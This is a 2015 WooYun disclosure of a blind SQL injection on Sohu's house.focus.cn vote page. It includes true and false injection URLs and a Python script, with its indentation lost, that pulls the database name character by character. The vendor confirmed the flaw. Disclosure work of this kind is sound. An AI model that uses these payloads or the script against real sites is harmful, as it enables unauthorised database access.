当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093610

漏洞标题:搜狐焦点家居又一处SQL盲注

相关厂商:搜狐

漏洞作者: Yns0ng

提交时间:2015-01-24 17:45

修复时间:2015-03-10 17:46

公开时间:2015-03-10 17:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-24: 细节已通知厂商并且等待厂商处理中
2015-01-24: 厂商已经确认,细节仅向厂商公开
2015-02-03: 细节向核心白帽子及相关领域专家公开
2015-02-13: 细节向普通白帽子公开
2015-02-23: 细节向实习白帽子公开
2015-03-10: 细节向公众公开

简要描述:

Boolean盲注,附验证脚本,仅供证明漏洞用。

详细说明:

1,注入点
http://house.focus.cn/vote/noun.php?noun_name=sohu&proj_id=2037 参数noun_name存在注入点
2,PoC
为True时:
http://house.focus.cn/vote/noun.php?noun_name=sohu'or(1=1)--+&proj_id=2037

Boolean-7-1.jpg


页面返回数据
为False时:
http://house.focus.cn/vote/noun.php?noun_name=sohu'or(1=0)--+&proj_id=2037

Boolean-7-2.jpg


页面返回空
3,验证脚本

import httplib
import time
import sys
import string
charlist = list(string.ascii_lowercase + string.ascii_uppercase + '._-/@')
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
}
print '[%s] Start to retrive database: ' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 6):
for char in charlist:
con = httplib.HTTPConnection('house.focus.cn', timeout=30)
payload = "'or(ascii(mid(database(),%s,1))=%s)--+" % (i, ord(char))
con.request(method='GET', url='/vote/noun.php?noun_name=sohu' + payload + '&proj_id=2037', headers=headers)

html = con.getresponse().read().decode('GBK')
con.close()

if html.find(u'大多数是高层') > -1:
db += char
sys.stdout.write('\n[Retriving database] ' + db)
sys.stdout.flush()
break
else:
pass
print '\n[%s Done] Database is %s' % (time.strftime('%H:%M:%S', time.localtime()), db)


执行脚本,拿到DB为:house

Boolean-7-3.jpg

漏洞证明:

1,注入点
http://house.focus.cn/vote/noun.php?noun_name=sohu&proj_id=2037 参数noun_name存在注入点
2,PoC
为True时:
http://house.focus.cn/vote/noun.php?noun_name=sohu'or(1=1)--+&proj_id=2037

Boolean-7-1.jpg


页面返回数据
为False时:
http://house.focus.cn/vote/noun.php?noun_name=sohu'or(1=0)--+&proj_id=2037

Boolean-7-2.jpg


页面返回空
3,验证脚本

import httplib
import time
import sys
import string
charlist = list(string.ascii_lowercase + string.ascii_uppercase + '._-/@')
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
}
print '[%s] Start to retrive database: ' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 6):
for char in charlist:
con = httplib.HTTPConnection('house.focus.cn', timeout=30)
payload = "'or(ascii(mid(database(),%s,1))=%s)--+" % (i, ord(char))
con.request(method='GET', url='/vote/noun.php?noun_name=sohu' + payload + '&proj_id=2037', headers=headers)

html = con.getresponse().read().decode('GBK')
con.close()

if html.find(u'大多数是高层') > -1:
db += char
sys.stdout.write('\n[Retriving database] ' + db)
sys.stdout.flush()
break
else:
pass
print '\n[%s Done] Database is %s' % (time.strftime('%H:%M:%S', time.localtime()), db)


执行脚本,拿到DB为:house

Boolean-7-3.jpg

修复方案:

版权声明:转载请注明来源 Yns0ng@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-01-24 18:14

厂商回复:

感谢支持。

最新状态:

暂无